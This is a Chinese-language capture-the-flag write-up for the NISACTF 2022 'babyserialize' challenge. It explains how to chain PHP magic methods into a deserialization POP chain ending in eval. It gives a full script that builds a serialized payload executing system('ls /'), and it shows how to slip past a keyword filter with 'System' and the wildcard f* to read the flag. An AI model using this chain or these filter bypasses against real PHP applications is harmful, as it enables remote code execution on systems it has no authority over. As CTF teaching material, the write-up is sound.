目录
[NISACTF 2022]babyserialize
(一)理清pop链(链尾 链头),标注步骤
1. 先找eval、flag这些危险函数和关键字样(这是链尾)
2.往eval()上面看
3.往$bb()上面看
4.往strtolower()上面看
5.往huang上面看
6.往nisa()上面看
发现需要触发__wakeup()函数,此处即为链头
(二) pop链脚本构造
按照已标注步骤进行
(三)过滤与绕过
1.绕过waf
2. 绕过preg_match正则匹配
[NISACTF 2022]babyserialize
学习参考!!![NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客
打开链接需要构造pop链
(一)理清pop链(链尾 链头),标注步骤
1. 先找eval、flag这些危险函数和关键字样(这是链尾)
找到eval()函数,可以利用参数txw4ever,调用系统函数system等实现命令执行
传给谁就标注在谁的后面,这里表示第一步:要传给txw4ever
2.往eval()上面看
发现需要触发__invoke()函数
__invoke():把对象当成函数执行时触发 e.g $a()
故在所有类中找,去找类似$a()的对象函数,发现$bb(),它对应的参数是su
第二步:要调用参数su,传入NISA类
3.往$bb()上面看
发现需要触发__toString()函数
__toString():把对象当成字符串输出触发 e.g echo $a
在所有类中找,发现strtolower()函数:将字符串转换成小写。对应参数 a
第三步: 要调用参数a,传入Ilovetxw类
第四步:此处还存在一个条件,fun="sixsixsix"
,由于fun属性为private,故直接在类里面修改
4.往strtolower()上面看
发现需要触发__set()函数
__set():给不存在的成员属性赋值时触发
在所有类中找,发现huang调用了fun,但在Ilovetxw类里不存在参数 fun
第五步:要调用参数huang,传入four类
5.往huang上面看
发现需要触发__call()函数
__call():调用不存在的方法触发
在所有类中找,发现nisa(),该类中不存在方法
第六步: 要从$ext属性中调用nisa()方法,传入Ilovetxw类
6.往nisa()上面看
发现需要触发__wakeup()函数,此处即为链头
此函数在类TianXiWei中
__wakeup():字符串被反序列化时触发
至此,我们理清了pop链,并进行了传参的相关标注
(二) pop链脚本构造
按照已标注步骤进行
1.实例化类NISA赋值给a,从中调用参数txw4ever执行RCE(ls /查看根目录)
2.实例化类Ilovetxw赋值给b,从中调用参数su传入NISA类
3.实例化类four赋值给c,从中调用参数a传入Ilovetxw类
4.实例化类Ilovetxw赋值给b,从中调用参数huang传入four类
5.实例化类TianXiWei赋值给d,从中调用参数huang传入Ilovetxw类
6.序列化类TianXiWei并输出
最终pop链:
<?php
class NISA{
public $fun="show_me_flag";
public $txw4ever; //1 system
}
class TianXiWei{
public $ext; //6 Ilovetxw
public $x;
}
class Ilovetxw{
public $huang; //5 four
public $su; //2 NISA
}
class four{
public $a="TXW4EVER"; //3 Ilovetxw
private $fun="sixsixsix"; //4 fun="sixsixsix"
}
$a=new NISA();
$a->txw4ever='system("ls /");';
$b = new Ilovetxw();
$b->su = $a;
$c=new four();
$c->a = $b;
$b = new Ilovetxw();
$b->huang = $c;
$d=new TianXiWei();
$d->ext = $b;
echo urlencode(serialize($d));
?>
传入发现只有提示flag在根目录,可直接使用system("cat /flag");读取flag,但存在过滤
(三)过滤与绕过
源码提示 存在两处需要绕过
1.绕过waf
有一个hint()函数,触发就会输出一些提示
让if语句判断不成立(fun=="show_me_flag"不成立)即可绕过这个函数
故 可在对象NISA中 调用fun属性 并重新赋值line
再次传入后发现成功绕过了waf,但还存在正则匹配
2. 绕过preg_match正则匹配
暗示存在关键字的过滤:
使用了正则匹配,但没给匹配的内容,用的......
此处system被过滤掉了,使用会返回 something wrong
flag也被过滤掉了,使用时无回显
故 使用大写字母System、f*分别绕过,得到flag。
(1)System大写绕过:php内置函数名不区分大小写
(2)*号通配符:匹配以f开头的所有字符 f*